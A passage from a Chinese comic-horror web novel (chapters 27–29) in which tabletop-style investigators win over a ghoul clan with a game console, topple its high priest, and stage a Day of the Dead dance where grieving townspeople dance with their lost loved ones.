食尸鬼们:“嗷——”
然而就在祝槐按下快门的下一秒身后突然升起了个阴恻恻的影子。
人马拎起了他的大剑狠狠地向面前的人类劈了下去。
gameover。
祝槐:“……”
食尸鬼们:“……”
世界安静了。
“刚才就是一个典型的错误示范。”
祝槐面不改色地读档“记住了永远不要背对着你的敌人。”
“现在有谁想试试吗”她特别友好地问“长老您先请?”
食尸鬼长老早在她问前半句的时候就挨个瞪过了所有迫不及待准备开口的这会儿真被她问到反而傲娇起来满脸勉为其难地准备接过手柄却在挨上的前一秒被对方倏地收了
回去。
食尸鬼长老:“???”
“哎,不是我不想给您,”祝槐瞧着它那长得都长了倒钩的钩爪,倒吸了一口凉气,“但是感觉这没两下就会给弄坏了……就算您那会儿还行,这一个个轮着下来,其他人怎么玩啊?”
长老沐浴在众小辈的谴责目光之下,终于也不得不缩了缩脖子。
“去。”
它凶巴巴道:“把那个拿来。”
洞穴之外。
卡洛琳一拳放倒了正要跑回去通风报信的那只守着洞口的食尸鬼,定位仪上的红点显示被带走的“祭品”就在这山坡之下,他们搬开前方用来伪装的石块后发现果然不出所料。
按刀疤邪
教徒的身份是有一点克苏鲁神话在的,他跟kp交涉套来了一点点关于食尸鬼的情报,应该对之后的战斗能起到一定的作用。就是据刀疤的说法,kp的声音听上去充满了隐隐的胃疼。
南风:“……”
直觉和对某人的了解告诉他,发生了什么不得了的事。
——简单点来说,食尸鬼一回合三动。
这“游戏”比起正常战斗,更像是体现在现实中的回合制,按照不同的敏捷来安排行动顺序,每一回合有且只有一次行动机会——不过鉴于节奏就跟真实战斗一样快,其实也没多大差别,一般人类的极限也就是半分钟能采取一次行动。
但对一些怪物就不一样了,比如食尸鬼,完全可以在这短短的时间内攻击三次。
他们现在能一下子把俩守卫放倒,虽然本来就人均武力傍身,但主要也是因为打了个出其不意,不然还得多磨蹭个几分钟。
“我可以帮它们治疗不咯?”被他们带来认路的小尸看着地上的同伴泪汪汪地问。
“革命总伴随着必要的牺牲,”更别提还没牺牲,南风木着脸说,他觉得自己编瞎话的能力也日益见长,“……再说但凡你俩记个路?”
食尸鬼兄弟:“……”
咳。
绕这么一大圈折腾的其中一个原因就是当初问这俩位置不得,据说是常年蹲在洞里,出来的次数少得两只爪子数得过来。
墓穴那里也就是个小小的分支出口,它俩都想不起来具体是在哪块墓碑底下,就之前在坡上找来找去的时候比几个人类还抓瞎的态度来看,南风严重怀疑这俩都是路痴。
“但是到这里我们就记得咯,”小食据理力争,“你们进去等着瞧好了!”
是是是,南风腹
诽
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,他是不担心迷路了——他怕路上遇到的食尸鬼扑过来袭击啊!
事实证明他想多了。
中途凡是碰到只食尸鬼,还不等他们动手或者对方叫嚷,完全被某人同化成功的小食小尸就猛地扑了过去——然后一把抓住了爪子。只有自己人才最知道自己人的痛处,一通嗷嗷嗷输出下来双方都是执手相看泪眼无语凝噎,决定共同掀起压在头上的这座大山。
虽然碍于场合,“打倒主祭,鬼鬼平等
塞缪尔给枪换了个新弹匣,虽然上一个也一颗都还没用。
卡洛琳只能用匕首来转刀花了。
可能是神话生物与邪
教徒的天生气场吸引,一路上扛着武器加入的食尸鬼都跟在了走在最后面殿后的刀疤后头。就是不知道为什么,有几个见了他就吭哧吭哧地笑。
刀疤:“?
“都说了记得!俩只食尸鬼带着他们在迷宫似的巢穴里七绕八绕,得意洋洋地说,“再往前走一点就应该是用来关押的牢房……哎怎么这么多聚在这儿?
就在靠近那间囚室之前的门内传来了七嘴八舌的议论声,看它们的态度,这里本不该有这么多埋伏。其他人也立刻警觉起来,各做好了各的准备。
“先想办法过去。
塞缪尔率先迈过一步,下意识地回头警戒。
“等下速战速——
他就不该多看这一眼。
乌泱泱一屋子的食尸鬼正聚在一起,全都挤在不知怎么搬来的电视跟前看着最前头的那只噼里啪啦按手柄——这电来自旁边的两台手摇式发电机,两只食尸鬼满头是汗地抓着把手,摇的速度快到齿轮咬合间都要迸出火星来了。
所有人:“……
原来你们的一回合三动是这么用的吗?!!
在另一边,站在最前正对面的食尸鬼握着一把钳子,其他同伴乖乖地一个接一个排成一长溜,排队等着……剪指甲。
“哎,正指点着食尸鬼怎么打出连招的祝槐抬头,“来啦。
所有人:“……
什么啊这种仿佛问“吃了吗的语气!!!
没有人会在看着眼前这一幕的时候不陷入沉默,但不管怎么说,看着满屋子剪完指甲以后钩爪短短的食尸鬼……那确实没有什么战斗能力了。
“那长老,祝槐还打了声招呼,“我先走一步。
食尸鬼长老:“诶好好好好。”
马上又轮到它了,真刺激。
祝槐在一室无言中走到了队友身边,小食小尸也还眼馋地望着同伴忙着玩的游戏,“那你们主祭一般在什么地方?”
食尸鬼两兄弟瞬间回神,那和娱乐相比还是事业重要。
“跟我来!”它们雄赳赳气昂昂,“旁边拐一下,往最里头走就行了!”
“……我错了。”在跟着它们往那走的过程中,南风虚弱地说,“下次我也带游戏机。”
kp:“???”
塞缪尔的神情简直就是他特工生涯中从未见过如此离谱的事。
刀疤:“这塞尔达,它好玩吗?”
卡洛琳:“……一眼认出来的你问题就不大吗?”
“我家孩子喜欢,”他说,“又不是我喜欢。”
回到巢穴之内,俩兄弟的认路能力还是靠谱的——更别提后面还跟着一长串,走都走不错。食尸鬼修建的建筑总有些异曲同工之处,眼前的隧道越走越开阔,尽头就是一扇雕饰华丽的双开大门,上面张开双臂荫照属民的神明被刻意隐去了面孔。
大门被推动时就发出轰隆隆的响声,庞大的石坛展现在面前,它中间是平滑的,周围勾出一圈血槽,再往外则也是各种诡谲且不知所谓的纹饰,俨然一眼就能瞧出这用途。
背对着站在地下祭坛前的佝偻身形也听到这声响,缓缓地转过了身来。
毫无疑问,那就是地位最高的主事者。
它已经很老了,狗脸上堆满细密的褶子,一双眯缝起来的眼睛依次打量起站在前头的几个人类。
“你们胆子很大啊,敢擅闯至此。”主祭阴沉地说,“居然能不声不响地进到这里来……”
它忽然看到了旁边扛着锤子草叉镰刀长矛的一堆食尸鬼。
瞳孔地震。
突然就知道怎么进来的了。
“看来你们还勾结了一些叛徒。”
主祭马上换了个说法:“真是我族败类,伟大的莫尔迪基安不会原谅你们的。我主的信徒啊,是时候证明你们的忠诚了,都给我上!”
空气很安静。
不行,一定是它叫人的姿势不对。
这么想着,主祭重新摆正架势,气沉丹田,大声地喊道:“小的们!!!”
十秒过去了。
一分钟过去了。
无一应答。
食尸鬼主祭:“……”
……鬼呢?!!
()
第28章 亡灵舞(十八)
这浓墨重彩的一天值得被泉城食尸鬼的史书永远铭记。
什么回合制,什么boss战,在绝对的火力压制下统统不作数。还不等他们这一行人类动手,憋了两天憋出无数小九九的小食小尸“嗷”地一声,带领着无数兄弟姐妹冲了上去。
当大家都可以一回合三动,所谓的一回合三动就失去了意义。
只会让场面一度更加的混乱。
相较于其他人,祝槐在这一点上就很适应良好,迅速从“做好了充分准备却发现事到如今居然只用看戏”的调查员转换了角色,开始在旁边煽风点火……不是,为它们鼓掌助威。
“嘴巴,嘴巴捂住,要念咒了。”
“别让碰到那根法杖!”
“哎哎哎,右边的小心点,你们主祭准备捅你呢。”
其实也不尽然。
最初的震惊和呆滞过后,几个事不关己高高挂起的人类就在旁边开起了赌局。
赌的当然不是哪方会获胜,毕竟这结果也太显而易见了,而是——
卡洛琳:“你觉得它还能撑多久?”
刀疤:“五分钟。”
“会不会稍微有点残忍了?”南风担忧道,“打三分钟可以了。”
塞缪尔:“两分钟。不会多了,它马上要求饶了。”
“我也押两分钟,”卡洛琳说,“真是场闪电战。”
一团混战之后,除了不幸挨到了战友两巴掌两脚的几只倒霉蛋食尸鬼,吃下了绝大部分狂风暴雨的主祭鼻青脸肿地被拖出来,它身体力行地证明了一句话——哪怕是年老的食尸鬼,也远比看上去的要皮实。
比如现在,它还能撑着一双浮肿的鱼泡眼恶狠狠地瞪着这些胆敢背弃伟大主神的同胞和在它看来一手促成现状的可恨人类……也不算错啦。
“两分钟。”
卡洛琳关掉计时,笑眯眯伸手,“拿来吧。”
刀疤:“……”
南风:“……”
他俩认命地一人掏出一张十元纸币,卡洛琳不客气地抽走了自己那张,塞缪尔正准备从同事手上接过,结果刚一转头,就见刚才还在vip席看戏的某人也冒了头。
“现在该我抽成了,”祝槐笑盈盈地宣布,“谁让我是主谋呢。”
南风:“……”
当初king刚醒的那时候不见你这么积极!
塞缪尔扬了下眉,主
动掏出钱包先递过去一张五美元的。卡洛琳也假笑着交出了她那份——旋即看了眼被收拾得差不多的主祭,收了玩笑的心思,“现在你们想怎么办?”
祝槐:“我——”
刚才混战中一左一右被俩食尸鬼防止主祭逃跑而关上的双开大门外忽然响起了稀稀落落的脚步声,大门被重新推开。
“刚才好像听到有什么动静,”食尸鬼长老心不甘情不愿地叉着腰,“俺就说从拯救世界的百忙之中抽出时间来看看……”
它带领的赤手空拳(还没有指甲)出现在门外的一小队食尸鬼和门内武装齐全的同族打了个照面,对脸懵逼。
再看看被绑成虾米状、明显是被暴打过的主祭,再看看将它围在中间、一副“翻身农奴把歌唱”派头的大小食尸鬼们,后者眼看造反指不定要被镇压,还威慑性地举了举各自手里的武器。
食尸鬼长老:“……”
怎么一会儿不见连社会体制都变了!
“你们……”主祭奄奄一息道,“为什么才过来……”
长老大言不惭地说:“其实是因为俺们没找到暂停键咯。”
南风欲言又止。
……你骗谁啊这游戏哪需要暂停啊!
食尸鬼主祭:“???”
啥玩意儿?!干嘛呢?!
从刚才起就很好奇它们究竟在做什么的俩兄弟到现在才有机会问出口,没办法,事业心强就是这么努力,小食好奇道:“咱町?什么攒听?你们到底在做啥子咯?”
最早那只食尸鬼守卫一看到了自己出场的时候,立刻迫不及待地蹦了出来。
“贝奈特小姐拿来了一个叫‘游戏机’的好东西,”一不留神,它们连称呼都变了,“还慷慨无私地分享给了我们。原来鬼生有这么多可以做的事,我们听说了还有那么多可以打的游戏,就是可惜她这次来得匆忙没有拿上其它卡带……”
“呃……”有只站在旁边的食尸鬼小心翼翼地说,“主祭好像给气晕过去咯。”
“晕就晕吧。”另一只不在意道,“等会儿再弄醒咯。”
它的重点显然放在了别的地方,“哥们走着?带你也去看看,你保准也喜欢,不喜欢打架就被鸡打,不喜欢被鸡打就找呀哈哈,不喜欢呀哈哈就骑马开神庙滑草打神兽,还能上天呢!”
只能说不愧是邪
教出身,连安利卖得都这么真情实感——甭管别的,只要都喜欢同一款游戏,我们就是好兄弟!
“等
等等等,祝槐及时喊停,“你们等一下。
正如小学生里地位最高的总是全班想借的那本书的持有者,她凭借游戏机主人这个身份也在食尸鬼之中赢得了不小的威望。一开口,它们顿时安静下来。
“你们之后准备做什么?
有只心直口快道:“继续打游戏呀!
祝槐:“打完呢?
“多练练,食尸鬼长老肃然,“好通关。
祝槐:“通关之后呢?
食尸鬼们才被她科普了打完boss还能继承装备物品继续玩的多周目概念,守卫马上抢答了这个问题:“开二周目!
“……不是,南风听出她的弦外之音,忍不住插话,“亡灵节呢?你们不打算管了?
食尸鬼们:“……
是哦。
食尸鬼长老:“那那那当然没有游戏——
“难道你们就打算逮着这一个游戏玩到天荒地老?祝槐冷不丁问,“当然是很好玩啦,玩个几百上千个小时也没什么问题,不过外面可还有更大的森林等着你们。
“你们可以传火,可以信仰之跃,可以打昆特牌,甚至还能联机玩网游,反正隔着屏幕队友也不知道你们到底是人还是一只食尸鬼。她循循善诱道,“但你们还要这样一直轮流玩下去吗?只有一台机器,大家全都想玩的话,一天分摊下来才能玩多久?
“不如人手一台游戏机和电脑。
祝槐总结,“卡带也是,这样大家随时随地都能玩到自己想玩的,还不用和别人抢。既然现在大家有相当一部分希望鬼鬼平等,这也是最公平的,对吧?
食尸鬼们听得眼睛里充满了憧憬的星星。
“要达成这个目标,她问,“我们得做什么?
它们面面相觑,直到有一只机灵的突然反应过来,尖声叫道:“搞钱!
“没错,说得很好。
祝槐肯定了它的回答,小食尸鬼顿时美滋滋起来,“要发展,还要可持续发展。为了刺激人类的产能,就得互惠互利地跟他们交易,好让厂商们做出更多更好的游戏。
卡洛琳听明白了,其实就是给这群食尸鬼找事做让它们忙得没工夫搞什么召唤是吧。
但食尸鬼们还沉浸在对方如此为它们着想的感动之中,满眼都是信赖与期待,祝槐良心丝毫不作痛地继续忽悠道:“这样说来,就得根据咱们现有的条件来想想赚钱的办法,不过因为我对食尸
鬼的历史不太了解——”
食尸鬼长老沉吟了数秒。
“有什么想问的可以问俺,”它说,“俺……老朽还是知道不少的。”
其余小的在这上帮不上忙,立刻热情地收拾起场地。它们七手八脚地把还晕着的主祭抬出去,祭坛旁堆满了估计是到时候用来祭祀的动物骨头,有牛有羊恐怕还有鸡,这些是运不走了,就凑合着往旁边搬了几把椅子来。
南风看着这一幕,突然有了一点莫名其妙的既视感。
他不由喃喃起来。
南风:“我们坐在高高的骨堆旁边,听长老讲那过去的事情……”
卡洛琳:“……自己人,别唱了!”
长老率先落座,为了挽救一下自己沉迷游戏失去的逼格,它装模作样地杵了根木棍当拐杖,“问,尽管问。”
祝槐就当真问了:“泉城本来应该用矿泉井和温泉的旅游业来赚钱,怎么就突然放弃了?”
“j·a·林区又是怎么回事?”卡洛琳补充道。
她和刀疤也早就跟着学了食尸鬼联络术,这会儿听和沟通都没有任何问题。
食尸鬼长老:“好吧……”
“林区是个骗子。”它言简意赅地说。
“他当初来开荒泉城的时候,就和俺们做下了交易。”
“那些所谓的‘矿泉井’本来就都是枯井,靠俺们这些年长的当初引来的水源和施加的其他法术才有了治疗的‘神效’。”它回忆道,“但条件是人类男女与俺们族群的繁衍……用不着那种眼神看俺们!本来就是你情我愿的交换!”
南风:“……”
人不能,至少不应该——
“那段是关系最好的日子,到了后来,林区赚得越来越多,就自以为了不得咯,出尔反尔地吞下了那些利益。谈崩以后就是那样咯,不过到了近些年来,俺们一族的血脉扩散开来,也是有一些知情者愿意重归以往的。”
所以就有了现在这一出啊。
“那亡灵节呢?”祝槐问。
旁边有只大点的食尸鬼跃跃欲试,“哎,这个我知道我知道——”
长老啐了它一口:“呸!你是长老还是我是长老!”
“长老,”小食提醒道,“现在鬼鬼平等。”
食尸鬼长老:“……”
呵!群殴了不起啊!!
“来来来,”它忿忿,“那你讲,你讲啊!”
……不了不了,它又不知
道。
小食讪讪地往后退了退,还是刚才那只大的兴致勃勃地探头,“我来我来。
“是我们一族的特性,在每隔十年的特定时间段可以邀请亡魂降临在自己身上,共享他们的感情和记忆并化为他们的模样……它说,“本来是想在吾主苏醒后来一场特别的献祭仪式,利用这个来引诱那些无知无觉的祭品的。
“水里放了一些迷幻的药粉,祭品们醒了也只会以为自己在做梦。我们还做了白花,到时候这些用了法术的绢花就可以筛选出想见到已死之人的目标,将他们带到我们面前。
食尸鬼长老:“哼。
祝槐:“但你们平时也能化成人形?
“平时是随便变的,食尸鬼说,“进行仪式后,我们可能会有一些去冒,“你们就得展现出相当的诚意。
食尸鬼长老:“诚意?
刀疤懂了她的意思。
“汤尼·佩特。他道。
祝槐点点头。
“如果我没猜错,应该是主祭下的命令吧?但不仅是它,负责动手的也找出来,就算只是接了命令也得有从犯的责任。她笑着,语气一点都听不出来是在施压,“我不会要求你们怎么去处理它们,你们自己应该对‘诚意’这个词有分寸。
食尸鬼长老:“……
它无端感觉脊椎有点凉。
“好吧,好吧,长老马上妥协了,反正也不关它的事,“我们肯定会去做的。
“还有一件事。祝槐说,“现在你们知道了,你们要面向的那些居民和游客,他们的定位不再是祭品,而是客人。
聚在这里的这堆食尸鬼还有大把不知道自己将迎来的是怎样的多舛命运的,茫茫然地重复着“客人俩字——反倒是经历过洗礼的小食和小尸,突然回想起什么似的,猛地打了个冷战。
“那么尊重客人的第一步。
她微笑道。
“请吧。
熟悉的泉城街头,熟悉的居民区公寓,杰弗里趴在窗户旁边。他从天亮等到天黑,再从天黑等到天亮,这时候“砰地一头栽在玻璃上,才发现自己等着等着给等睡着了。
直接趴着睡的后果就是连身体都很僵硬,他打着哈欠去揉撞得生疼的脑门,注意到外头天色又黑了——这已经是亡灵节的最后一天了。
杰弗里恍惚了两秒,忽然意识到自己是被外头的敲门声还有魔术师“小子来开门的喊声给吵醒的。他猛
地从椅子上站起来,马上要出卧室了就反应过来,刻意放慢了脚步,满脸一点不在意地去拧了把手。
门应声而开。
他冷眼打量一下门外俩人,“还活着呢?”
魔术师很乐于拆他台,“这小子一整夜没睡。”
杰弗里:“……”
“哟,”祝槐笑笑,“这么担心我们?”
杰弗里:“?????”
“担心?谁担心啊,”他凶狠道,“我还不够嫌吵的——怎么又这么多人?!”
乍一看是少了俩食尸鬼,但来的还是那天晚上那几个,不算它俩就达到了人类人数的历史新高。小偷嘴上这么讲,身体先给他们让了地方,南风第一个苦哈哈地就要往对面沙发上倒,“好累啊……”
监督食尸鬼们把自己洗刷干净到剪短的指甲都能反光真是个大工程。
“这不是挺有意思的?”卡洛琳勾着唇角,她负责的是礼仪部分,“人生难得的经历。”
南风:“难得是难得……”
但是他们昨晚就凑合休息了四五个小时啊
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塞缪尔:“你以后可能还会有四十八小时不眠不休的任务。”
南风:“……”
现在辞职还来得及吗?!啊?!!
“既然你这么累,”刀疤说,“那待会儿你在这歇着,我们自己去。”
“不不不不不——我可没说要歇。”南风立马一个鲤鱼打挺就跳起来了,“觉可以不睡热闹不能不凑,走走走。”
杰弗里听出不对了,“你们又要去哪儿?”
“亡灵节啊,”祝槐说,“你不去?”
小偷瞪着她看了几秒,还不等开口,见她丢过来个什么就条件反射地抬手接住,拿着一看才看清是朵绢布做的白玫瑰花,“……这啥?”
“别管那么多,戴上就行。”祝槐侧头看还躺在沙发上的魔术师,“你呢?”
“我没兴趣。”
魔术师给自己换了个更舒适点的姿势,眯着眼睛哼了声,“‘king’从不回首过去。”
其他人:“……”
看他还这么中二就放心了。
杰弗里沉默片刻,憋出一句“好好看家”,看看挂钟的时针已经指向了八点,头一个捏着那朵绢花出了门。
只留下南风的声音在后头:“哎是不是早了点——”
亡灵节的最后一个夜晚,街道上无人来往却并不怎么安静,从远处飘
来似有若无的音乐声。风笛悠扬鼓点轻跃一连串深沉的旋律渐渐由弱变强乐音庄重奇异隐隐地扣得心弦也在跟着发颤。
没有乐队没有鼓手乐曲不知从何而起也不知向何而去。
早就在几日前布置完成的广场一如既往装饰华丽中间还有好些逗留在此的游客他们有的戴了白花有的没有此刻正神色讶异地看着其他人不约而同地三三两两前来像小溪汇入河流。
但这惊异没有停留太长时间前奏结束进入正篇的乐曲让人越发想跟着节拍摇摆
有微光飘进夜色将一切染出隐约光彩气氛也渐渐飘忽了。
人们踩着鼓点向广场中央走去忽然有谁应和着乐曲轻轻唱了起来。
“工作时间玩乐时间现在到了亡灵舞时间。”
有来自各方的游客有本地的居民人数并不算很多但足够让这个广场热闹起来大家无论男女老幼、无论贫富地聚集在了这里。
“富人穷人齐齐聚一起来跳亡灵舞。”
那声音又唱道:
“踏步旋身复停驻一起来跳亡灵舞。”
“我从来没听过这样的歌”脸色苍白地搭着披肩的年轻女人惊讶地说“但我又觉得在哪里听过……”
祝槐笑了笑她没有戴花随意地空手站在一旁“您也是从外地来的?”
“是啊只是想来旅游一下”女人喃喃“不过也有可能是因为……”
她的话被打断了。
“亲爱的小姐”一名与她年龄相仿的男性走到她们身边伸出手“我诚邀您做我的舞伴与我共舞亡灵之舞。”
女人忽然捂住了自己的嘴巴她定定地注视着对方的面庞眼眶里渐渐盈了泪水指尖也在不住发抖。
“……好我答应你。”她竭力稳住声音“我当然会答应你。”
他们牵着手汇入人群舞步相得益彰——就像从前已经做过无数次一样。不知不觉之间似乎多出了一些人或与自己的舞伴同龄或是稚嫩孩童也有不少是垂垂老者没有人对他们提出质疑一如在他们邀请共舞时没有得到任何一次拒绝。
杰弗里还靠着树站在旁边他又有点想抽烟准备伸进兜里去拿打火机。
一
双小小的手突然拉过了他的。
很不可思议,明明它在他记忆里更瘦小、在最后那段时间也更干枯,他一下子就认出了那双手的形状。
他抬起头,望见少女笑靥如花却叫不出对方的名字,像是只要这么做了就会从这个梦中醒来。
他被牵着向前走去,恍惚间仿佛回到了那个洗衣房的清晨,他们收了几个硬币替别人看着洗好的衣服,无聊之下自己哼着歌谣一步步踩着阳光,简陋却依然心生向往。
“真是费尽心思。”
祝槐听见这句评语,也不避讳,笑吟吟地晲了旁边的人一眼。
“就算只是活人安慰自己的把戏,只要能重新往前走,”她说,“我觉得也没有哪里不好的。”
塞缪尔不置可否地挑挑眉,又听她道:“你不去吗?”
“没兴趣。”他说,“我只想看看这会变成什么样。”
“我差点就信了。”祝槐毫不客气地说,“我就直说了,你想复活谁?”
警探的眼神几乎是一瞬间冷了下来。
“我没有那种想法。”半晌后,他说,“也不能有。”
“算了,我也没真打算知道答案。”祝槐道,“换个问题,如果那个人现在看到你这样会怎么想?”
塞缪尔这次没有那么刺猬了,他听了这句话,望着天空数秒,这才慢慢说:“会失望吧。”
“真巧,我也是。”
祝槐笑笑,“不管怎么说,合作愉快。”
一切微妙的不微妙的气氛都破坏于面前突如其来地冲过去一个南风,他后头跟了好几个提着裙子追他的女孩——看那之前似乎没在附近见到的长相,应该是食尸鬼。
祝槐:“……”
塞缪尔:“……”
想想之前也是被本地有食尸鬼血统的女生拼命邀请跳舞……
“你同事是怪薄荷吧?”她微妙道。
塞缪尔:“………………”
问他他问谁啊!
“你们还看!”虚晃一招的南风顺利甩脱追兵,气喘吁吁地跑回他们面前,愤怒地控诉道,“你们就知道看戏!”
祝槐:“你也知道是戏。”
南风:“???”
这日子还能过?!
“说起来,”他回头,看到不远处的杰弗里,不由小声说,“杰弗里之前不太喜欢吧,我在想……”
三人:“……”
也是,最好永远都别让他知道真相。
“……不过,知道是那么知道,”南风挠挠脸颊,“我很好奇,死者真的附身了吗?”
“嗯……”祝槐歪头,“我们又不是它们。”
“——就当是个未解之谜吧。”她笑道。
一首舞曲已经终了。
少女不顾挽留地松开了手,缓缓退后,身影就这么消失在了人群。
杰弗里愣愣站在原地,等回过神来,胸膛剧烈起伏两下,正要一把扯下别着的那朵绢花,忽地停住了动作。
一只小小的浅色蝴蝶轻轻落在了玫瑰花瓣上。
它忽闪了两下翅膀,很快飞走了。
()
第29章 亡灵舞(十九)
有时候久别重逢后的感动是有对比的。
刀疤面对着正娉婷站在跟前、温婉笑着伸手过来的女人,满脸都写着不熟。
……他真的演不来啊!!!
“……对不住啊,
正寻找着空余客人经过他俩的食尸鬼差点滑了一跤。
不记得个鬼啊当初搬到主祭面前有它一份力!就抹了那一丁点点好不好!
女人眉眼间难掩失落,但还是不放弃地伸着手,这下反而叫人有罪恶感起来了。还不等他再说什么,忽然就被谁猛地推了后背一把,跟着向前栽去,女人便顺势拉他汇入了正翩然起舞的人群。
这是极端陌生又莫名熟悉的舞曲,他的脚却知晓该怎样应和似的自发动了起来。箭在弦上是不得不发了,刀疤趁着转圈的时候瞪了那罪魁祸首一眼。
卡洛琳就站在原地,不掩幸灾乐祸地回笑一下,慢条斯理地给自己开了罐饮料。
真有趣。
她见惯了人们在不得不要和亲朋恋人分别时的悲伤,还是第一次看到像现在这样的表情。明明是正在与马上要分离第二次的亡者共舞,他们脸上却带着满足与慰藉的微笑,简直就像在感恩这段从死神手中偷回来的时间。
他们不再留有遗憾。
又一曲结束,刚才被她坑了的队友目送“妻子离开,立刻气势汹汹地回来算账。
“你——
“你不想跳你别戴花啊,卡洛琳直接抢了他话头嘲笑道,“我就不戴,我就好好的。
再瞧那边那个被好几个追着跑的。
刀疤:“……
他讪讪,“这不是生活里总得有点仪式感吗?
卡洛琳:“左脚踩右脚那是挺仪式的。
刀疤:“………………
他被怼得哑口无言,最主要的还是表现实在有点丢人,只好悻悻地选择闭嘴缩点存在感。好在人们的注意力全都集中在自己跟前,哪还有余力去留神其他的。
鬓角花白的父亲向也已步入中年的女儿欠过了身,早夭的孩童抓着父母的手指头,又被抱着踩在他们鞋尖上,就这样一圈圈转起来。
一曲舞毕,死者眷恋却决绝地退场,活人的笑容也渐渐褪去,望着重新
空下来的指尖,能挽留的只有抓不住的空气。
杰弗里还在望着那朵绢布花出神。
他的指腹轻轻摩挲着蝴蝶停留过的那片花瓣,脸上是梦醒后的茫然,半晌过后,抬手碰了一下自己心口。
像是一直以来空缺的那块被重新补平。
婉转的风笛声也有彻底停下的一刻,取而代之的是象征落幕的钟声。大钟被一下接一下地敲响,舞蹈落幕,神秘的舞伴们不知何时消失了踪影,只留下如同大梦初醒的人们,带着还没有完全清醒的神情慢慢走回了家和酒店。
广场上恢复了一片寂静,残存在空气中的是浅淡的、仿佛真正存在过的玫瑰香气,记录下这一夜并非虚妄。
第二天清早,公寓二楼的房门又被敲响了。
昨晚其实结束得挺早,这休息了满打满算也有八九个小时,祝槐是挺清醒的,可站在后面一点的南风依然还是完全缓不过来的困倦——可能这就是被食尸鬼追了八百个回合的后果吧。
即便如此他也打起了精神,旅行社给他们定的离开时间就在今天下午,虽然各人都有自己的目的,但明面上的身份还是要装装,这之前该走的地方也是得走一趟的。
原以为听到的又会是小偷大声嚷嚷的抱怨,哪料到不过十几秒后,杰弗里一声不吭地过来给开了门就转头又进去了。
他这表现可稀奇得很,祝槐本来就站在前面,倒也没说什么地直接进了门。南风就犹豫了不止一点,他忍不住回头看了眼太阳出来的方向,确认是东边无误后才跟着迈了一步,结果刚转头,就看整洁干净得不像样的客厅看傻了眼。
南风:“……”
他默默地退出去了。
杰弗里:“?”
“你干嘛?”他奇怪地问。
南风:“我没走错门……?”
杰弗里:“……”
南风从他眼里看出来明晃晃的“找打”俩字,这才松了口气——还行,还是那个熟悉的杰弗里·斯坦贝克。
他这表现当然更气人了,杰弗里当场翻了个白眼,没好气地指了下还在沙发上挺尸的魔术师,“你走错了他能在那儿吗?!”
南风:“……啊哈哈哈哈。”
祝槐先进去了一会儿,在收拾干净的茶几旁边看到俩立着的箱子,“这是你的行李箱?”
杰弗里“哦”了声。
“我要退租离开泉城了。”他风轻云淡地说。
“……???”南风惊讶
道“为啥啊?!”
“我昨天做了个梦。”杰弗里说“梦见凡妮莎跟我说不希望我再当小偷了她说反正也不用治她的病了不急着用钱让我也别再自暴自弃……我想了想还是去个地方重新开始吧。”
南风在听前半句的时候就已经有点压不住嘴角了他是真心为对方高兴的其实昨晚看着就已经猜到了说的是谁但这会儿还是佯装不知情地问道:“凡妮莎?谁啊?”
“我妹妹。”
杰弗里停顿了下又补充说:“唯一的最好的。”
“行了没人怀疑你有几个好妹妹。”祝槐打趣道马上也被他瞪了两眼她全然不在意地将一张纸条递了过去“那看来咱俩想到一起去了要考虑考虑这个提案吗?”
“什么?”杰弗里接下纸条奇怪地看着上面那一串数字。
“我养父那边最近可能在招新人当助理”她笑眯眯地说“打电话说是我介绍的就行了。”
虽然她自己没有具体设定但就学的那些“兴趣爱好”而言收养阿维丝·贝奈特的家庭怎么也得是个中产起步。开幕式那天晚上她拍了两张照片又借机聊了几句正好坐实了她的判断这会儿不过是顺水推舟。
“……这不太好吧?”杰弗里迟疑道“无缘无故的……”
“想什么呢只是给你个应聘的机会。”祝槐说“还要跟其他人一起竞争能留下也是你自己本事留不下千万别说你认识我丢人。”
杰弗里:“???”
他连食尸鬼都绑过还能怕了小小的应聘不成?
“看不起我是吧?!”他“嘿”了声“等着瞧吧你。”
他嘴上不客气表情却是笑着的这边打打闹闹的气氛正好那边魔术师就哼哼唧唧地抱怨起来了“哎哟哎哟我这腰可怎么办哟这可不还得且养着一阵……”
杰弗里:“你今早上不是好好地自己起来了吗?!”
“起来?什么起来?”魔术师据理力争“那不是你说要退租打扫卫生非要我挪个地儿吗!我那么努力了你还想怎样!”
祝槐:“起不来啊?”
魔术师:“对啊。”
祝槐:“那我们去教堂找神父你肯定也起不来了。”
堂堂魔术师当场咸鱼打挺表演了一个现代医学奇迹。
“走!”他精神抖擞地说
南风:“……”
杰弗里
:“……”
咱这辈子还能有点出息吗?
杰弗里正好也要赶这时候出门,他们就干脆等了一起。据被叮铃哐啷折磨得苦不堪言的魔术师控诉,这人是从凌晨四点就爬起来开始打扫卫生,等到天亮了又跟房东打电话,现在去还钥匙,等彻底收拾完准备等验收直接走了。
结果也不知道是不是正赶上外出高峰期,他们才刚陆陆续续往外走,恰逢隔壁邻居也开了门,见第一个迫不及待地往外冲的山羊胡子男人就笑着打了招呼,“早上好啊,和儿子一起出门散步?”
魔术师:“?????”
“儿子?!”他见鬼道。
“啊对对,早上好,”杰弗里已经麻木了,这几天他但凡碰上个楼里的谁就问他和爸爸相处得怎么样,“他离婚没见我好多年了可能有点不习惯,过两天我也要搬去他那儿一起生活了。”
邻居恍然大悟又抑扬顿挫地“哦——”了声就连忙恭喜起来,而大龄中二还沉浸在自己如花似玉的年纪竟然平地蹦出来个十几岁儿子的崩溃也被理解为了无言的欣慰。
送走了一片热心肠的邻居,南风还在痛苦地憋笑,祝槐就没有这种烦恼——她早就炉火纯青了。
“你们……”魔术师深受打击,瞳孔海啸道,“你们还背着我做了什么……”
“冒充你上台演出然后直接跑路算吗?”祝槐问。
魔术师:“???”
他的一世英名——
“……算了,”要说他看得开也是很看得开,这会儿反而是没过两秒就豁然道,“反正来找我算账的早就能绕卡尔克萨两圈了。”
南风:“……”
你说的从不回首过去其实是这个意思吧!
不过……
祝槐看魔术师一眼,南风也好奇道:“卡尔克萨?”
“噢,没什么,就意大利一地名。”魔术师摆摆手,有了刚才那一出,他心思也活络起来了,贼兮兮地凑到一脸无语的杰弗里旁边,“哎小子,要不你干脆直接来当我徒弟得了,虽然天分是差了点……”
“你可别误人子弟了。”
祝槐忍不住吐槽:“疯两个疯一双吗?”
魔术师:“哼!!!”
赶着去教堂拿他心心念念的大宝贝,他下巴仰得老高,脚下倒是一点不含糊,结果碰到个台阶差点把自己绊飞出去,好容易才踉跄几下给站稳了。他们过来是塞缪尔开了警局的车,后者就靠在车门旁等着,见状险些
没拿稳车钥匙。
